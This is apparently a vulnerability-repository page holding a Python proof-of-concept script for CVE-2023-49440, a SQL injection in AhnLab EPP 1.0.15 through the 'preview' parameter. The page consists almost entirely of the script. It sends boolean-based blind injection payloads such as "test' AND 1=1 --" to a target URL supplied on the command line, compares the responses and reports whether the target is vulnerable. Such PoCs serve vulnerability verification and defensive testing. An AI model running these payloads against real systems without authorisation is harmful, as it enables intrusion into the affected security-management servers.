CVE-2023-49440 AhnLab EPP SQL注入漏洞

# CVE-2023-49440 SQL Injection PoC # Target: AhnLab EPP 1.0.15 # Vulnerability: SQL Injection via preview parameter import requests import sys def exploit_sql_injection(target_url, cookie=None): """ SQL Injection PoC for CVE-2023-49440 Tests for boolean-based blind SQL injection """ headers = { 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64)', 'Content-Type': 'application/x-www-form-urlencoded' } if cookie: headers['Cookie'] = cookie # Original request (should return normally) normal_payload = { 'preview': 'test' } # SQL Injection payloads # Boolean-based blind SQL injection true_payload = { 'preview': "test' AND 1=1 --" } false_payload = { 'preview': "test' AND 1=2 --" } try: # Test normal request response_normal = requests.post(target_url, data=normal_payload, headers=headers, timeout=10) # Test true condition response_true = requests.post(target_url, data=true_payload, headers=headers, timeout=10) # Test false condition response_false = requests.post(target_url, data=false_payload, headers=headers, timeout=10) # If true and normal responses are similar, but false is different if response_true.status_code == response_normal.status_code and response_false.status_code != response_normal.status_code: print('[+] SQL Injection vulnerability confirmed!') print('[+] Target is vulnerable to CVE-2023-49440') return True else: print('[-] Target may not be vulnerable') return False except requests.exceptions.RequestException as e: print(f'[-] Error: {e}') return False if __name__ == '__main__': if len(sys.argv) < 2: print('Usage: python cve-2023-49440.py <target_url>') print('Example: python cve-2023-49440.py http://target.com/preview endpoint') sys.exit(1) target = sys.argv[1] exploit_sql_injection(target)